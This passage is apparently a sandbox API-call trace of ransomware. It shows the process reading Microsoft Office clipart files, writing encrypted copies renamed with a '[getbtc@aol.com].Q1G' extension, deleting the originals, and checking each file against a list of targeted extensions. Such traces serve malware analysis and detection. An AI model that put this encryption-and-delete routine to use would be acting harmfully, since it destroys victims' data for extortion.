dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0258.395] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=9968) returned 1 [0258.395] CloseHandle (hObject=0x390) returned 1 [0258.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf")) returned 0x20 [0258.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0258.395] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.395] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0258.397] GetLastError () returned 0x0 [0258.397] ReadFile (in: hFile=0x390, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x26f0, lpOverlapped=0x0) returned 1 [0258.400] WriteFile (in: hFile=0x3b8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x2700, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x2700, lpOverlapped=0x0) returned 1 [0258.401] ReadFile (in: hFile=0x390, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0258.401] WriteFile (in: hFile=0x3b8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0258.402] SetEndOfFile (hFile=0x3b8) returned 1 [0258.402] CloseHandle (hObject=0x3b8) returned 1 [0258.402] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.402] SetEndOfFile (hFile=0x390) returned 1 [0258.549] CloseHandle (hObject=0x390) returned 1 [0258.550] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0258.578] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf")) returned 1 [0258.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0258.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0258.579] lstrlenW (lpString=".doc") returned 4 [0258.579] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.579] lstrlenW (lpString=".docx") returned 5 [0258.579] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0258.579] lstrlenW (lpString=".pdf") returned 4 [0258.579] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.579] lstrlenW (lpString=".xls") returned 4 [0258.579] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.579] lstrlenW (lpString=".xlsx") returned 5 [0258.579] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0258.579] lstrlenW (lpString=".ppt") returned 4 [0258.579] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0258.579] lstrlenW (lpString=".zip") returned 4 [0258.579] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.579] lstrlenW (lpString=".rar") returned 4 [0258.579] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.579] lstrlenW (lpString=".bz2") returned 4 [0258.580] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.580] lstrlenW (lpString=".7z") returned 3 [0258.580] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0258.580] lstrlenW (lpString=".dbf") returned 4 [0258.580] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0258.580] lstrlenW (lpString=".1cd") returned 4 [0258.580] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0258.580] lstrlenW (lpString=".jpg") returned 4 [0258.580] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0258.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0258.580] lstrlenW (lpString=".doc") returned 4 [0258.580] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.580] lstrlenW (lpString=".docx") returned 5 [0258.580] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0258.580] lstrlenW (lpString=".pdf") returned 4 [0258.580] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.580] lstrlenW (lpString=".xls") returned 4 [0258.580] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.580] lstrlenW (lpString=".xlsx") returned 5 [0258.580] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0258.580] lstrlenW (lpString=".ppt") returned 4 [0258.580] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0258.580] lstrlenW (lpString=".zip") returned 4 [0258.580] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.580] lstrlenW (lpString=".rar") returned 4 [0258.580] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.580] lstrlenW (lpString=".bz2") returned 4 [0258.580] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.580] lstrlenW (lpString=".7z") returned 3 [0258.580] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0258.581] lstrlenW (lpString=".dbf") returned 4 [0258.581] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0258.581] lstrlenW (lpString=".1cd") returned 4 [0258.581] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0258.581] lstrlenW (lpString=".jpg") returned 4 [0258.581] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.581] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0258.581] lstrlenW (lpString="J0107258.WMF") returned 12 [0258.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0258.611] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=8552) returned 1 [0258.611] CloseHandle (hObject=0x394) returned 1 [0258.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf")) returned 0x20 [0258.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0258.612] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.612] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0258.613] GetLastError () returned 0x0 [0258.613] ReadFile (in: hFile=0x394, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x2168, lpOverlapped=0x0) returned 1 [0258.614] WriteFile (in: hFile=0x390, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x2170, lpOverlapped=0x0) returned 1 [0258.615] ReadFile (in: hFile=0x394, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0258.615] WriteFile (in: hFile=0x390, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0258.615] SetEndOfFile (hFile=0x390) returned 1 [0258.615] CloseHandle (hObject=0x390) returned 1 [0258.615] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.615] SetEndOfFile (hFile=0x394) returned 1 [0258.617] CloseHandle (hObject=0x394) returned 1 [0258.617] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0258.618] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf")) returned 1 [0258.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0258.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0258.618] lstrlenW (lpString=".doc") returned 4 [0258.618] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.618] lstrlenW (lpString=".docx") returned 5 [0258.618] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0258.618] lstrlenW (lpString=".pdf") returned 4 [0258.618] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.618] lstrlenW (lpString=".xls") returned 4 [0258.619] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.619] lstrlenW (lpString=".xlsx") returned 5 [0258.619] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0258.619] lstrlenW (lpString=".ppt") returned 4 [0258.619] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0258.619] lstrlenW (lpString=".zip") returned 4 [0258.619] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.619] lstrlenW (lpString=".rar") returned 4 [0258.619] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.619] lstrlenW (lpString=".bz2") returned 4 [0258.619] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.619] lstrlenW (lpString=".7z") returned 3 [0258.619] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0258.619] lstrlenW (lpString=".dbf") returned 4 [0258.619] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0258.619] lstrlenW (lpString=".1cd") returned 4 [0258.619] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0258.619] lstrlenW (lpString=".jpg") returned 4 [0258.619] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0258.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0258.619] lstrlenW (lpString=".doc") returned 4 [0258.619] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.619] lstrlenW (lpString=".docx") returned 5 [0258.619] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0258.619] lstrlenW (lpString=".pdf") returned 4 [0258.619] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.619] lstrlenW (lpString=".xls") returned 4 [0258.619] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.619] lstrlenW (lpString=".xlsx") returned 5 [0258.619] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0258.620] lstrlenW (lpString=".ppt") returned 4 [0258.620] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0258.620] lstrlenW (lpString=".zip") returned 4 [0258.620] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.620] lstrlenW (lpString=".rar") returned 4 [0258.620] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.620] lstrlenW (lpString=".bz2") returned 4 [0258.620] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.620] lstrlenW (lpString=".7z") returned 3 [0258.620] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0258.620] lstrlenW (lpString=".dbf") returned 4 [0258.620] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0258.620] lstrlenW (lpString=".1cd") returned 4 [0258.620] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0258.620] lstrlenW (lpString=".jpg") returned 4 [0258.620] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.620] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0258.620] lstrlenW (lpString="J0107266.WMF") returned 12 [0258.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0258.621] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=5868) returned 1 [0258.621] CloseHandle (hObject=0x394) returned 1 [0258.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf")) returned 0x20 [0258.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0258.621] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.621] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0258.623] GetLastError () returned 0x0 [0258.623] ReadFile (in: hFile=0x394, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x16ec, lpOverlapped=0x0) returned 1 [0258.624] WriteFile (in: hFile=0x390, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x16f0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x16f0, lpOverlapped=0x0) returned 1 [0258.625] ReadFile (in: hFile=0x394, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0258.625] WriteFile (in: hFile=0x390, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0258.625] SetEndOfFile (hFile=0x390) returned 1 [0258.625] CloseHandle (hObject=0x390) returned 1 [0258.625] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.625] SetEndOfFile (hFile=0x394) returned 1 [0258.627] CloseHandle (hObject=0x394) returned 1 [0258.628] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0258.628] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf")) returned 1 [0258.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0258.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0258.628] lstrlenW (lpString=".doc") returned 4 [0258.628] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.628] lstrlenW (lpString=".docx") returned 5 [0258.628] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0258.628] lstrlenW (lpString=".pdf") returned 4 [0258.628] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.629] lstrlenW (lpString=".xls") returned 4 [0258.629] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.629] lstrlenW (lpString=".xlsx") returned 5 [0258.629] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0258.629] lstrlenW (lpString=".ppt") returned 4 [0258.629] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0258.629] lstrlenW (lpString=".zip") returned 4 [0258.629] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.629] lstrlenW (lpString=".rar") returned 4 [0258.629] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.629] lstrlenW (lpString=".bz2") returned 4 [0258.629] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.629] lstrlenW (lpString=".7z") returned 3 [0258.629] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0258.629] lstrlenW (lpString=".dbf") returned 4 [0258.629] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0258.629] lstrlenW (lpString=".1cd") returned 4 [0258.629] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0258.629] lstrlenW (lpString=".jpg") returned 4 [0258.629] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0258.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0258.629] lstrlenW (lpString=".doc") returned 4 [0258.629] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.629] lstrlenW (lpString=".docx") returned 5 [0258.629] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0258.629] lstrlenW (lpString=".pdf") returned 4 [0258.629] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.629] lstrlenW (lpString=".xls") returned 4 [0258.629] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.629] lstrlenW (lpString=".xlsx") returned 5 [0258.629] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0258.629] lstrlenW (lpString=".ppt") returned 4 [0258.629] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0258.630] lstrlenW (lpString=".zip") returned 4 [0258.630] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.630] lstrlenW (lpString=".rar") returned 4 [0258.630] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.630] lstrlenW (lpString=".bz2") returned 4 [0258.630] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.630] lstrlenW (lpString=".7z") returned 3 [0258.630] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0258.630] lstrlenW (lpString=".dbf") returned 4 [0258.630] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0258.630] lstrlenW (lpString=".1cd") returned 4 [0258.630] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0258.630] lstrlenW (lpString=".jpg") returned 4 [0258.630] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.630] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0258.630] lstrlenW (lpString="J0107280.WMF") returned 12 [0258.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0258.631] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=11108) returned 1 [0258.631] CloseHandle (hObject=0x394) returned 1 [0258.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf")) returned 0x20 [0258.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: 